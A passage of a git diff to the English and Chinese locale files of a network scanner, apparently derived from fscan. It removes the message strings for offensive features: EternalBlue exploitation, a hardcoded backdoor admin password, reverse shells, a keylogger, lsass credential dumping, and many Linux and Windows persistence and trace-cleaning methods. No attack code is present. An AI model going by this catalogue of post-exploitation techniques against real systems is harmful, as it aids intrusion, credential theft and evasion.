"[Backdoor check] DOUBLEPULSAR backdoor found" -ms17010_exploit_backdoor_not_found: - other: "[Backdoor check] DOUBLEPULSAR backdoor not found" -ms17010_exploit_mode: - other: "[Exploit mode] {{.Arg1}}" -ms17010_exploit_start_attack: - other: "[Exploit status] Starting EternalBlue attack..." -ms17010_exploit_failed: - other: "[Exploit result] Exploit failed: {{.Arg1}}" -ms17010_exploit_success: - other: "[Exploit result] Exploit completed successfully" -ms17010_exploit_bind_hint: - other: "[Connection hint] Use the following command to connect to Bind Shell:" -ms17010_exploit_add_hint: - other: "[Access hint] Administrator account added. Connect with:" -ms17010_exploit_add_credential: - other: " Username: sysadmin Password: 1qaz@WSX!@#4" -ms17010_exploit_guest_hint: - other: "[Access hint] Guest account enabled. Remote connection is available" -ms17010_exploit_detect_only: - other: "[Exploit mode] Detection only (shellcode not configured)" -ms17010_exploit_shellcode_hint: - other: "[Hint] Use -sc to configure shellcode for exploitation" -ms17010_exploit_supported_modes: - other: " Supported modes: bind, add, guest, or custom shellcode" ms17010_base64_decode_failed: other: "base64 decode failed" ms17010_aes_cipher_failed: @@ -774,18 +688,6 @@ ms17010_read_pipe_error: other: "Read pipe response error" ms17010_pipe_response_incomplete: other: "Pipe response incomplete" -ms17010_bind_shellcode_decrypt_failed: - other: "Failed to decrypt bind shellcode" -ms17010_add_shellcode_decrypt_failed: - other: "Failed to decrypt add shellcode" -ms17010_guest_shellcode_decrypt_failed: - other: "Failed to decrypt guest shellcode" -ms17010_shellcode_file_read_failed: - other: "Failed to read shellcode file" -ms17010_invalid_shellcode: - other: "Invalid shellcode" -ms17010_shellcode_decode_failed: - other: "Shellcode decode failed" findnet_discovery_failed: other: "Network discovery failed" findnet_hostname: @@ -968,362 +870,6 @@ netbios_header_too_short: other: "NetBIOS header too short" message_length_too_large: other: "Message length too large" -local_target: - other: "Target: {{.Arg1}}" -local_platform: - other: "Platform: {{.Arg1}}" -local_listen_port: - other: "Listen port: {{.Arg1}}" -local_output_file: - other: "Output file: {{.Arg1}}" -local_start_time: - other: "Start time: {{.Arg1}}" -unsupported_platform: - other: "Unsupported platform: {{.Arg1}}" -unsupported_os: - other: "Unsupported operating system: {{.Arg1}}" -connection_failed_plain: - other: "Connection failed" -listen_port_failed: - other: "Failed to listen on port" -command_timeout: - other: "Command execution timed out" -command_exec_failed: - other: "Command execution failed: {{.Arg1}}" -command_success_no_output: - other: "(Command completed successfully with no output)" -command_error_with_output: - other: "Error: {{.Arg1}}\n{{.Arg2}}" -reverseshell_header: - other: "=== Go native reverse shell ===" -reverseshell_error: - other: "Reverse shell error: {{.Arg1}}" -reverseshell_done: - other: "✓ Reverse shell completed" -forwardshell_header: - other: "=== Forward shell server ===" -forwardshell_server_error: - other: "Forward shell server error: {{.Arg1}}" -forwardshell_done: - other: "✓ Forward shell service completed" -socks5_header: - other: "=== SOCKS5 proxy server ===" -socks5_server_error: - other: "SOCKS5 proxy server error: {{.Arg1}}" -socks5_done: - other: "✓ SOCKS5 proxy completed" -socks5_handshake_read_failed: - other: "Failed to read handshake request" -socks5_unsupported_version: - other: "Unsupported SOCKS version" -socks5_handshake_write_failed: - other: "Failed to send handshake response" -socks5_request_read_failed: - other: "Failed to read connection request" -socks5_invalid_request: - other: "Invalid SOCKS5 request" -socks5_unsupported_command: - other: "Unsupported command" -ipv4_address_invalid: - other: "Invalid IPv4 address format" -domain_format_invalid: - other: "Invalid domain format" -domain_length_invalid: - other: "Invalid domain length" -ipv6_address_invalid: - other: "Invalid IPv6 address format" -socks5_unsupported_address_type: - other: "Unsupported address type" -socks5_target_connect_failed: - other: "Failed to connect to target server" -local_address_unavailable: - other: "Unable to get local address" -socks5_success_response_failed: - other: "Failed to send success response" -socks5_proxy_connection_established: - other: "Proxy connection established: {{.Arg1}}" -keylogger_header: - other: "=== Keylogger ===" -keylogger_output_permission_failed: - other: "Output file permission check failed: {{.Arg1}}" -platform_requirement_failed: - other: "Platform requirement check failed: {{.Arg1}}" -keylogger_failed: - other: "Keylogging failed: {{.Arg1}}" -keylogger_failed_plain: - other: "Keylogging failed" -keylogger_done: - other: "✓ Keylogging completed" -keylogger_event_count: - other: "Captured event count: {{.Arg1}}" -keylogger_log_file: - other: "Log file: {{.Arg1}}" -output_file_create_failed: - other: "Unable to create output file {{.Arg1}}" -output_file_open_failed: - other: "Unable to open output file" -keylogger_log_header: - other: "=== Keylog ===" -keylogger_header_write_failed: - other: "Failed to write header information" -keylogger_entry_write_failed: - other: "Failed to write keylog entry" -keylogger_demo_windows: - other: "Demo keylog - Windows platform" -keylogger_demo_linux: - other: "Demo keylog - Linux platform" -keylogger_demo_darwin: - other: "Demo keylog - macOS platform" -command_read_failed: - other: "Failed to read command" -local_target_file: - other: "Target file: {{.Arg1}}" -persistence_file_required: - other: "Specify target file path with -persistence-file" -target_file_not_specified: - other: "Target file not specified" -target_file_not_exist: - other: "Target file does not exist: {{.Arg1}}" -copy_file_failed: - other: "✗ Failed to copy file: {{.Arg1}}" -file_copied_to: - other: "✓ File copied to: {{.Arg1}}" -persistence_complete_summary: - other: "Persistence completed: success({{.Arg1}}) total({{.Arg2}})" -crontask_linux_only: - other: "Cron task persistence only supports Linux" -crontab_unavailable: - other: "crontab command is unavailable" -crontask_header: - other: "=== Cron task persistence ===" -crontask_user_add_failed: - other: "✗ Failed to add user cron task: {{.Arg1}}" -crontask_user_added: - other: "✓ User crontab task added" -crontask_system_add_failed: - other: "✗ Failed to add system cron task: {{.Arg1}}" -crontask_system_added: - other: "✓ System cron task added: {{.Arg1}}" -crontask_at_add_failed: - other: "✗ Failed to add at task: {{.Arg1}}" -crontask_at_added: - other: "✓ at delayed task added" -crontask_anacron_add_failed: - other: "✗ Failed to add anacron task: {{.Arg1}}" -crontask_anacron_added: - other: "✓ anacron task added" -persistence_dir_create_failed: - other: "Unable to create persistence directory" -crontask_system_create_none: - other: "Unable to create any system cron task" -systemdservice_linux_only: - other: "System service persistence only supports Linux" -systemctl_unavailable: - other: "systemctl command is unavailable: {{.Arg1}}" -systemdservice_header: - other: "=== System service persistence ===" -systemdservice_create_failed: - other: "✗ Failed to create systemd service: {{.Arg1}}" -systemdservice_created: - other: "✓ systemd service created: {{.Arg1}}" -systemdservice_start_failed: - other: "✗ Failed to start service: {{.Arg1}}" -systemdservice_started: - other: "✓ Service enabled and started" -systemdservice_user_create_failed: - other: "✗ Failed to create user service: {{.Arg1}}" -systemdservice_user_created: - other: "✓ User service created: {{.Arg1}}" -systemdservice_timer_create_failed: - other: "✗ Failed to create timer service: {{.Arg1}}" -systemdservice_timer_created: - other: "✓ systemd timer created" -systemdservice_complete_summary: - other: "System service persistence completed: success({{.Arg1}}) total({{.Arg2}})" -service_dir_create_failed: - other: "Unable to create service directory" -systemdservice_create_none: - other: "Unable to create any systemd service file" -service_operation_error: - other: "Service operation error" -ldpreload_linux_only: - other: "LD_PRELOAD persistence only supports Linux" -ldpreload_so_required: - other: "Target file must be a .so dynamic library: {{.Arg1}}" -invalid_file_type: - other: "Invalid file type" -ldpreload_header: - other: "=== LD_PRELOAD persistence ===" -ldpreload_copy_system_failed: - other: "✗ Failed to copy file to system directory: {{.Arg1}}" -ldpreload_env_add_failed: - other: "✗ Failed to add environment variable: {{.Arg1}}" -ldpreload_env_added: - other: "✓ Added to global environment variables" -ldpreload_shell_add_failed: - other: "✗ Failed to add shell configuration: {{.Arg1}}" -ldpreload_shell_added: - other: "✓ Added to shell configuration: {{.Arg1}}" -ldpreload_config_create_failed: - other: "✗ Failed to create ld config: {{.Arg1}}" -ldpreload_config_created: - other: "✓ ld preload config created" -ldpreload_complete_summary: - other: "LD_PRELOAD persistence completed: success({{.Arg1}}) total({{.Arg2}})" -ldpreload_system_lib_dir_not_found: - other: "No suitable system library directory found" -ldpreload_shell_config_modify_none: - other: "Unable to modify any shell configuration file" -cleaner_removed: - other: "[Clean] {{.Arg1}}" -cleaner_history_removed: - other: "[Clean] removed fscan records from {{.Arg1}}" -sshkey_mkdir_failed: - other: "[Failed] {{.Arg1}}: unable to create .ssh directory: {{.Arg2}}" -sshkey_generate_failed: - other: "[Failed] {{.Arg1}}: key generation failed: {{.Arg2}}" -sshkey_authorized_read_failed: - other: "[Failed] {{.Arg1}}: failed to read authorized_keys: {{.Arg2}}" -sshkey_public_exists: - other: "[Skip] {{.Arg1}}: public key already exists" -sshkey_authorized_write_failed: - other: "[Failed] {{.Arg1}}: unable to write authorized_keys: {{.Arg2}}" -sshkey_private_save_failed: - other: "[Failed] {{.Arg1}}: failed to save private key: {{.Arg2}}" -sshkey_injected: - other: "[Success] {{.Arg1}}: public key injected into {{.Arg2}}, private key saved as {{.Arg3}}" -minidump_admin_required: - other: "Administrator privileges required" -minidump_load_dll_failed: - other: "Failed to load system DLL: {{.Arg1}}" -minidump_try_direct: - other: "[*] Trying direct memory dump..." -minidump_av_skip_direct: - other: "[*] Security software protection detected, skipping direct dump" -minidump_try_comsvcs: - other: "[*] Trying comsvcs.dll method..." -minidump_try_regsave: - other: "[*] Trying reg save registry export..." -minidump_all_failed: - other: "[!] All methods failed" -minidump_all_methods_failed: - other: "All credential extraction methods failed" -minidump_find_lsass_failed: - other: " Failed to find lsass.exe: {{.Arg1}}" -minidump_privilege_failed: - other: " Privilege escalation failed: {{.Arg1}}" -minidump_direct_failed: - other: " Direct dump failed: {{.Arg1}}" -minidump_method_direct: - other: "Direct memory dump" -minidump_comsvcs_failed: - other: " comsvcs.dll failed: {{.Arg1}}" -minidump_hive_export_failed: - other: " ✗ {{.Arg1}} export failed" -minidump_regsave_done: - other: "[+] Registry hive export completed, parse offline with secretsdump" -minidump_method_success: - other: "[+] {{.Arg1}} succeeded: {{.Arg2}} ({{.Arg3}} bytes)" -minidump_load_named_dll_failed: - other: "Failed to load {{.Arg1}}" -minidump_find_proc_failed: - other: "Failed to find {{.Arg1}} function" -minidump_snapshot_create_failed: - other: "Failed to create process snapshot" -minidump_first_process_failed: - other: "Failed to get first process" -minidump_process_name_convert_failed: - other: "Failed to convert process name" -minidump_process_not_found: - other: "Process not found: {{.Arg1}}" -minidump_open_process_token_failed: - other: "Failed to open process token" -minidump_privilege_name_convert_failed: - other: "Failed to convert privilege name" -minidump_lookup_privilege_failed: - other: "Failed to look up privilege value" -minidump_adjust_token_failed: - other: "Failed to adjust token privileges" -minidump_current_process_failed: - other: "Failed to get current process handle" -minidump_timeout: - other: "Memory dump timed out (120 seconds)" -minidump_write_dump_failed: - other: "Failed to write dump file" -minidump_open_process_failed: - other: "Failed to open process" -file_create_failed: - other: "Failed to create file" -local_step_failed: - other: "[Failed] {{.Arg1}}: {{.Arg2}}" -local_step_success: - other: "[Success] {{.Arg1}}" -local_step_success_detail: - other: "[Success] {{.Arg1}} ({{.Arg2}})" -local_step_success_arrow: - other: "[Success] {{.Arg1}} -> {{.Arg2}}" -winregistry_current_user_run: - other: "Current user Run" -winregistry_local_machine_run: - other: "Local machine Run" -winregistry_current_user_runonce: - other: "Current user RunOnce" -winregistry_step_success: - other: "[Success] {{.Arg1}}: {{.Arg2}}\\{{.Arg3}}" -winifeo_sticky_keys: - other: "Sticky Keys (Shift x5)" -winifeo_accessibility: - other: "Accessibility (Win+U)" -winifeo_narrator: - other: "Narrator" -winlogon_userinit_append: - other: "Userinit append" -winlogon_shell_append: - other: "Shell append" -winbits_create_task_failed: - other: "[Failed] Create task: {{.Arg1}}" -winbits_guid_extract_failed: - other: "[Failed] Unable to extract task GUID" -winbits_task_created: - other: "[Success] Created task: {{.Arg1}} ({{.Arg2}})" -winbits_add_file: - other: "Add file" -winbits_set_callback: - other: "Set callback" -winbits_set_retry: - other: "Set retry" -winbits_resume_task: - other: "Resume task" -winstartup_user_folder: - other: "User startup folder" -winstartup_common_folder: - other: "Common startup folder" -cleaner_restore_winlogon_shell: - other: "[Restore] Winlogon Shell: {{.Arg1}} -> {{.Arg2}}" -cleaner_restore_winlogon_userinit: - other: "[Restore] Winlogon Userinit: {{.Arg1}} -> {{.Arg2}}" -cleaner_ifeo_removed: - other: "[Clean] IFEO: {{.Arg1}}" -cleaner_registry_removed: - other: "[Clean] Registry: {{.Arg1}}\\{{.Arg2}}" -cleaner_schtask_removed: - other: "[Clean] Scheduled task: {{.Arg1}}" -cleaner_service_removed: - other: "[Clean] Service: {{.Arg1}}" -cleaner_startup_removed: - other: "[Clean] Startup folder: {{.Arg1}}" -cleaner_bits_removed: - other: "[Clean] BITS: {{.Arg1}}" -cleaner_wmi_removed: - other: "[Clean] WMI event subscription" -cleaner_prefetch_removed: - other: "[Clean] Prefetch: {{.Arg1}}" -systeminfo_antivirus_process_count: - other: "{{.Arg1}} ({{.Arg2}} processes)" -powershell_exec_failed: - other: "PowerShell execution failed" -command_output: - other: "output" webtitle_no_fingerprint_skip_poc: other: "WebTitle {{.Arg1}} has no matching fingerprint, skipping POC scan" webtitle_cdn_waf_skip_poc: @@ -1367,214 +913,6 @@ redis_cron_success: redis_restore_failed: other: "Failed to restore database config: {{.Arg1}}" -# ========================= Local Plugin Messages ========================= -# Cron task persistence -crontask_success: - other: "Cron task persistence completed: {{.Arg1}} methods succeeded" - -# Keylogger -keylogger_success: - other: "Keylogging completed, captured {{.Arg1}} keyboard events" -keylogger_save_failed: - other: "Failed to save keylog: {{.Arg1}}" -keylogger_no_input: - other: "No keyboard input captured" - - -# Windows WMI -winwmi_success: - other: "Windows WMI event subscription persistence completed: {{.Arg1}} items" - -# Cleaner -cleaner_success: - other: "Trace cleaning completed: {{.Arg1}} files, {{.Arg2}} system entries" -cleaner_history_found: - other: "Found history file: {{.Arg1}} (requires manual cleanup)" - - -# Forward shell -forwardshell_complete: - other: "Forward shell service completed - port: {{.Arg1}}" -forwardshell_started: - other: "Forward shell server started on 0.0.0.0:{{.Arg1}}" -forwardshell_accept_failed: - other: "Failed to accept connection: {{.Arg1}}" -forwardshell_client_connected: - other: "Client connected from: {{.Arg1}}" -forwardshell_read_failed: - other: "Failed to read client command: {{.Arg1}}" - -# IFEO image hijacking -winifeo_success: - other: "IFEO image hijacking completed: {{.Arg1}} targets" - -# BITS persistence -winbits_success: - other: "BITS persistence completed: {{.Arg1}}" - -# Winlogon persistence -winlogon_success: - other: "Winlogon persistence completed: {{.Arg1}} entries" - -# Windows startup folder -winstartup_success: - other: "Windows startup folder persistence completed: {{.Arg1}} methods" - -# Windows service -winservice_success: - other: "Windows service persistence completed: {{.Arg1}} items" - - -# SSH Key injection -sshkey_success: - other: "SSH key injection completed: {{.Arg1}} users" - -# LD_PRELOAD -ldpreload_success: - other: "LD_PRELOAD persistence completed: {{.Arg1}} methods succeeded" - -# SOCKS5 proxy -socks5_starting: - other: "Starting SOCKS5 proxy on port {{.Arg1}}" -socks5_complete: - other: "SOCKS5 proxy completed - port: {{.Arg1}}" -socks5_started: - other: "SOCKS5 proxy server started on 127.0.0.1:{{.Arg1}}" -socks5_cancelled: - other: "SOCKS5 proxy server cancelled by context" -socks5_accept_failed: - other: "Failed to accept connection: {{.Arg1}}" -socks5_handshake_failed: - other: "SOCKS5 handshake failed: {{.Arg1}}" -socks5_request_failed: - other: "SOCKS5 request handling failed: {{.Arg1}}" -socks5_connected: - other: "SOCKS5 proxy connection established" - -# Reverse shell -reverseshell_complete: - other: "Reverse shell completed - target: {{.Arg1}}" -reverseshell_connected: - other: "Reverse shell connected to {{.Arg1}}:{{.Arg2}}" - -# Systemd service -systemdservice_success: - other: "Systemd service persistence completed: {{.Arg1}} methods succeeded" - -# System info -minidump_regsave_success: - other: "Registry hive export completed (SAM/SECURITY/SYSTEM)" - -systeminfo_start: - other: "Starting system information collection" -systeminfo_os: - other: "Operating System: {{.Arg1}}" -systeminfo_arch: - other: "Architecture: {{.Arg1}}" -systeminfo_cpu: - other: "CPU Cores: {{.Arg1}}" -systeminfo_hostname: - other: "Hostname: {{.Arg1}}" -systeminfo_user: - other: "Current User: {{.Arg1}}" -systeminfo_homedir: - other: "Home Directory: {{.Arg1}}" -systeminfo_workdir: - other: "Working Directory: {{.Arg1}}" -systeminfo_tempdir: - other: "Temp Directory: {{.Arg1}}" -systeminfo_pathcount: - other: "PATH entries: {{.Arg1}}" -systeminfo_winver: - other: "Windows Version: {{.Arg1}}" -systeminfo_domain: - other: "User Domain: {{.Arg1}}" -systeminfo_kernel: - other: "System Kernel: {{.Arg1}}" -systeminfo_distro: - other: "Distribution: {{.Arg1}}" -systeminfo_distro_exists: - other: "Distribution: /etc/os-release exists" -systeminfo_whoami: - other: "Current User (whoami): {{.Arg1}}" -systeminfo_iface: - other: "Interface {{.Arg1}}: {{.Arg2}} (MAC: {{.Arg3}})" -systeminfo_privilege: - other: "Privilege Level: {{.Arg1}}" -systeminfo_privilege_group: - other: "Admin Group: {{.Arg1}}" -systeminfo_id_info: - other: "User Info: {{.Arg1}}" -systeminfo_firewall: - other: "Firewall: {{.Arg1}}" -systeminfo_firewall_rules: - other: "Firewall Rules: {{.Arg1}}" -systeminfo_patches: - other: "Installed Patches: {{.Arg1}}" -systeminfo_antivirus: - other: "Antivirus Detected: {{.Arg1}}" -systeminfo_av_process: - other: " - {{.Arg1}}" -systeminfo_sudo: - other: "Sudo Privileges: {{.Arg1}}" -systeminfo_macos_detail: - other: "macOS: {{.Arg1}}" -systeminfo_sensitive_env: - other: "Sensitive Env Var: {{.Arg1}}={{.Arg2}}" -systeminfo_sensitive_file: - other: "Sensitive File: {{.Arg1}}" -systeminfo_dc_detected: - other: "Domain detected: {{.Arg1}}" -systeminfo_dc_connect_failed: - other: "Domain controller connection failed: {{.Arg1}}" -systeminfo_dc_basedn: - other: "Domain Base DN: {{.Arg1}}" -systeminfo_dc_created: - other: "Domain created: {{.Arg1}}" -systeminfo_dc_func_level: - other: "Domain functional level: {{.Arg1}}" -systeminfo_dc_controllers: - other: "Domain controllers: {{.Arg1}}" -systeminfo_dc_controller_detail: - other: " - {{.Arg1}} ({{.Arg2}}) {{.Arg3}}" -systeminfo_dc_admins: - other: "Domain admins: {{.Arg1}}" -systeminfo_dc_admin_detail: - other: " - {{.Arg1}} ({{.Arg2}})" -systeminfo_dc_users: - other: "Domain users: {{.Arg1}}" -systeminfo_dc_computers: - other: "Domain computers: {{.Arg1}}" -systeminfo_dc_computer_detail: - other: " - {{.Arg1}} ({{.Arg2}})" -systeminfo_dc_gpos: - other: "Group policies: {{.Arg1}}" -systeminfo_dc_gpo_detail: - other: " - {{.Arg1}} [{{.Arg2}}]" - -# Windows scheduled task -winschtask_success: - other: "Windows scheduled task persistence completed: {{.Arg1}} items" - -# Windows registry -winregistry_success: - other: "Windows registry persistence completed: {{.Arg1}} items" - -# Minidump -minidump_panic: - other: "Minidump plugin panic: {{.Arg1}}" -minidump_success: - other: "Successfully dumped lsass.exe memory to file: {{.Arg1}} (size: {{.Arg2}} bytes)" - -# Local plugin common errors -local_pe_not_specified: - other: "No PE file specified, use -win-pe parameter" -local_pe_not_found: - other: "PE file not found: {{.Arg1}}" -local_invalid_pe: - other: "Invalid PE file: {{.Arg1}}" - -# ========================= WebScan Messages ========================= webscan_target_url_failed: other: "Failed to build target URL: {{.Arg1}}" webscan_invalid_url: @@ -1657,8 +995,8 @@ webscan_poc_dir_read_failed: other: "Failed to read POC directory: {{.Arg1}}" webscan_unknown_poc_format: other: "Unknown POC format" -webscan_fscan_format_parse_failed: - other: "fscan format parse failed" +webscan_native_format_parse_failed: + other: "scanner format parse failed" webscan_nuclei_format_parse_failed: other: "nuclei format parse failed" webscan_nuclei_no_http_rules: @@ -1698,7 +1036,7 @@ webscan_request_send_error: param_error: other: "Parameter error: {{.Arg1}}" param_exclusive: - other: "Parameters {{.Arg1}} are mutually exclusive, specify only one scan target\n -h: network host scan\n -u: Web URL scan\n -local: local information collection" + other: "Parameters {{.Arg1}} are mutually exclusive, specify only one scan target\n -h: network host scan\n -u: Web URL scan" error_generic: other: "Error: {{.Arg1}}" init_failed: @@ -1710,13 +1048,6 @@ redis_scan_success: rabbitmq_detected: other: "RabbitMQ {{.Arg1}} {{.Arg2}}" -# ========================= Web UI Messages ========================= -web_server_started: - other: "Web server started on port: {{.Arg1}}" -web_shutting_down: - other: "Web server shutting down..." -web_mode_not_supported: - other: "Web mode not supported in this build, rebuild with: go build -tags web" # ========================= Debug Messages ========================= debug_create_profiles_failed: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 9e40f413..1b9af5cc 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -1,4 +1,4 @@ -# fscan 中文翻译文件 +# Scanner 中文翻译文件 # 仅包含实际使用的消息(115个) # ========================= 命令行参数 (71个) ========================= @@ -36,10 +36,8 @@ flag_disable_tcp_probe: other: "禁用TCP补充探测" flag_disable_subnet_probe: other: "禁用网段预筛(大规模扫描时跳过空 /24 网段的优化)" -flag_local_plugin: - other: "指定本地插件名称 (如: cleaner, systeminfo, keylogger 等)" flag_debug: - other: "开启调试模式,日志写入fscan_debug.log" + other: "开启调试模式,日志写入debug.log" flag_alive_only: other: "仅进行存活探测" flag_username: @@ -117,7 +115,7 @@ flag_max_packet_count: flag_icmp_rate: other: "ICMP发包速率 (相对于最大速率的比例,默认0.1,约1463 pps)" flag_output_file: - other: "输出文件" + other: "输出文件(默认按第一个目标自动命名)" flag_output_format: other: "输出格式: txt, json, csv" flag_disable_save: @@ -132,39 +130,15 @@ flag_disable_progress: other: "禁用进度条" flag_perf_stats: other: "输出性能统计JSON" -flag_shellcode: - other: "Shellcode" -flag_reverse_shell_target: - other: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)" -flag_start_socks5_server: - other: "启动SOCKS5代理服务器端口 (如: 1080)" -flag_forward_shell_port: - other: "启动正向Shell服务器端口 (如: 4444)" -flag_persistence_file: - other: "Linux持久化目标文件路径 (支持.elf/.sh文件)" -flag_win_pe_file: - other: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)" -flag_keylogger_output: - other: "键盘记录输出文件路径" -flag_download_url: - other: "要下载的文件URL" -flag_download_path: - other: "下载文件保存路径" flag_language: other: "语言: zh, en" flag_help: other: "显示帮助信息" -flag_web_mode: - other: "启动Web管理界面" -flag_web_port: - other: "Web服务器端口" # ========================= 扫描模式消息 ========================= scan_mode_service_selected: other: "已选择服务扫描模式" scan_mode_alive_selected: other: "已选择存活探测模式" -scan_mode_local_selected: - other: "已选择本地扫描模式" scan_mode_web_selected: other: "已选择Web扫描模式" scan_info_start: @@ -215,8 +189,6 @@ progress_duration: other: "耗时" concurrency_plugin: other: "插件" -concurrency_local_plugin: - other: "本地插件" concurrency_service_plugin: other: "服务插件" concurrency_web_plugin: @@ -277,8 +249,6 @@ target_local_mode: other: "本地扫描模式" param_conflict_ao_icmp_both: other: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式" -param_local_multi_plugin: - other: "本地插件只能指定单个插件,不支持使用 '{{.Arg1}}' 分隔的多个插件" param_join_and: other: "{{.Arg1}} 和 {{.Arg2}}" @@ -383,14 +353,6 @@ alive_host_item: # ========================= 扫描器消息 ========================= http_client_init_failed: other: "HTTP客户端初始化失败: {{.Arg1}}" -active_reverse_shell: - other: "检测到活跃的反弹Shell,保持程序运行..." -active_socks5_proxy: - other: "检测到活跃的SOCKS5代理,保持程序运行..." -active_forward_shell: - other: "检测到活跃的正向Shell,保持程序运行..." -press_ctrl_c_exit: - other: "按 Ctrl+C 退出程序" received_exit_signal: other: "收到退出信号,正在关闭..." scan_task_complete: @@ -473,14 +435,6 @@ subnet_prefilter_done: other: "网段预筛完成: {{.Arg1}} 个存活 (网关命中 {{.Arg2}}), {{.Arg3}} 个跳过, 剩余 {{.Arg4}} 主机" # ========================= 本地扫描消息 ========================= -local_plugin_info: - other: "本地插件: {{.Arg1}}" -local_plugin_not_specified: - other: "本地插件: 未指定" -local_plugin_not_found: - other: "错误: 本地插件 '{{.Arg1}}' 不存在或在当前平台不可用" - -# ========================= 服务扫描消息 ========================= service_plugin_info: other: "服务插件: {{.Arg1}}" service_plugin_custom: @@ -519,8 +473,6 @@ plugins_info: other: "{{.Arg1}}: {{.Arg2}}" plugins_none: other: "{{.Arg1}}: 无可用插件" -start_local_scan: - other: "开始本地扫描" start_service_scan: other: "开始服务扫描" start_web_scan: @@ -676,8 +628,6 @@ ms17010_start: other: "MS17-010利用开始: {{.Arg1}}" ms17010_complete: other: "MS17-010利用完成: {{.Arg1}}" -ms17010_shellcode_complete: - other: "{{.Arg1}} MS17-010漏洞利用完成 (Shellcode长度: {{.Arg2}})" ms17010_protocol_decrypt_error: other: "协议请求解密错误: {{.Arg1}}" ms17010_protocol_decode_error: @@ -700,42 +650,6 @@ ms17010_vuln_banner: other: "MS17-010漏洞 ({{.Arg1}})" ms17010_not_vulnerable: other: "目标不存在MS17-010漏洞" -ms17010_exploit_header: - other: "=== MS17-010漏洞利用结果 - {{.Arg1}} ===" -ms17010_exploit_check_failed: - other: "[漏洞检测失败] {{.Arg1}}" -ms17010_exploit_not_vulnerable: - other: "[漏洞状态] 目标不存在MS17-010漏洞" -ms17010_exploit_confirmed: - other: "[漏洞确认] MS17-010漏洞存在" -ms17010_exploit_os: - other: "[操作系统] {{.Arg1}}" -ms17010_exploit_backdoor_found: - other: "[后门检测] 发现DOUBLEPULSAR后门" -ms17010_exploit_backdoor_not_found: - other: "[后门检测] 未发现DOUBLEPULSAR后门" -ms17010_exploit_mode: - other: "[利用模式] {{.Arg1}}" -ms17010_exploit_start_attack: - other: "[利用状态] 开始执行EternalBlue攻击..." -ms17010_exploit_failed: - other: "[利用结果] 利用失败: {{.Arg1}}" -ms17010_exploit_success: - other: "[利用结果] 漏洞利用成功完成" -ms17010_exploit_bind_hint: - other: "[连接建议] 使用以下命令连接Bind Shell:" -ms17010_exploit_add_hint: - other: "[访问建议] 已添加管理员账户,可以通过以下方式连接:" -ms17010_exploit_add_credential: - other: " 用户名: sysadmin 密码: 1qaz@WSX!@#4" -ms17010_exploit_guest_hint: - other: "[访问建议] 已激活Guest账户,可以直接远程连接" -ms17010_exploit_detect_only: - other: "[利用模式] 仅检测模式 (未配置Shellcode)" -ms17010_exploit_shellcode_hint: - other: "[建议] 可使用 -sc 参数配置Shellcode进行实际利用" -ms17010_exploit_supported_modes: - other: " 支持的模式: bind, add, guest 或自定义shellcode" ms17010_base64_decode_failed: other: "base64解码失败" ms17010_aes_cipher_failed: @@ -774,18 +688,6 @@ ms17010_read_pipe_error: other: "读取管道响应错误" ms17010_pipe_response_incomplete: other: "管道响应不完整" -ms17010_bind_shellcode_decrypt_failed: - other: "解密bind shellcode失败" -ms17010_add_shellcode_decrypt_failed: - other: "解密add shellcode失败" -ms17010_guest_shellcode_decrypt_failed: - other: "解密guest shellcode失败" -ms17010_shellcode_file_read_failed: - other: "读取Shellcode文件失败" -ms17010_invalid_shellcode: - other: "无效的Shellcode" -ms17010_shellcode_decode_failed: - other: "shellcode解码失败" findnet_discovery_failed: other: "网络发现失败" findnet_hostname: @@ -968,362 +870,6 @@ netbios_header_too_short: other: "NetBIOS头部长度不足" message_length_too_large: other: "消息长度过大" -local_target: - other: "目标: {{.Arg1}}" -local_platform: - other: "平台: {{.Arg1}}" -local_listen_port: - other: "监听端口: {{.Arg1}}" -local_output_file: - other: "输出文件: {{.Arg1}}" -local_start_time: - other: "开始时间: {{.Arg1}}" -unsupported_platform: - other: "不支持的平台: {{.Arg1}}" -unsupported_os: - other: "不支持的操作系统: {{.Arg1}}" -connection_failed_plain: - other: "连接失败" -listen_port_failed: - other: "监听端口失败" -command_timeout: - other: "命令执行超时" -command_exec_failed: - other: "命令执行失败: {{.Arg1}}" -command_success_no_output: - other: "(命令执行成功,无输出)" -command_error_with_output: - other: "错误: {{.Arg1}}\n{{.Arg2}}" -reverseshell_header: - other: "=== Go原生反弹Shell ===" -reverseshell_error: - other: "反弹Shell错误: {{.Arg1}}" -reverseshell_done: - other: "✓ 反弹Shell已完成" -forwardshell_header: - other: "=== 正向Shell服务器 ===" -forwardshell_server_error: - other: "正向Shell服务器错误: {{.Arg1}}" -forwardshell_done: - other: "✓ 正向Shell服务已完成" -socks5_header: - other: "=== SOCKS5代理服务器 ===" -socks5_server_error: - other: "SOCKS5代理服务器错误: {{.Arg1}}" -socks5_done: - other: "✓ SOCKS5代理已完成" -socks5_handshake_read_failed: - other: "读取握手请求失败" -socks5_unsupported_version: - other: "不支持的SOCKS版本" -socks5_handshake_write_failed: - other: "发送握手响应失败" -socks5_request_read_failed: - other: "读取连接请求失败" -socks5_invalid_request: - other: "无效的SOCKS5请求" -socks5_unsupported_command: - other: "不支持的命令" -ipv4_address_invalid: - other: "IPv4地址格式错误" -domain_format_invalid: - other: "域名格式错误" -domain_length_invalid: - other: "域名长度错误" -ipv6_address_invalid: - other: "IPv6地址格式错误" -socks5_unsupported_address_type: - other: "不支持的地址类型" -socks5_target_connect_failed: - other: "连接目标服务器失败" -local_address_unavailable: - other: "无法获取本地地址" -socks5_success_response_failed: - other: "发送成功响应失败" -socks5_proxy_connection_established: - other: "建立代理连接: {{.Arg1}}" -keylogger_header: - other: "=== 键盘记录 ===" -keylogger_output_permission_failed: - other: "输出文件权限检查失败: {{.Arg1}}" -platform_requirement_failed: - other: "平台要求检查失败: {{.Arg1}}" -keylogger_failed: - other: "键盘记录失败: {{.Arg1}}" -keylogger_failed_plain: - other: "键盘记录失败" -keylogger_done: - other: "✓ 键盘记录已完成" -keylogger_event_count: - other: "捕获事件数: {{.Arg1}}" -keylogger_log_file: - other: "日志文件: {{.Arg1}}" -output_file_create_failed: - other: "无法创建输出文件 {{.Arg1}}" -output_file_open_failed: - other: "无法打开输出文件" -keylogger_log_header: - other: "=== 键盘记录日志 ===" -keylogger_header_write_failed: - other: 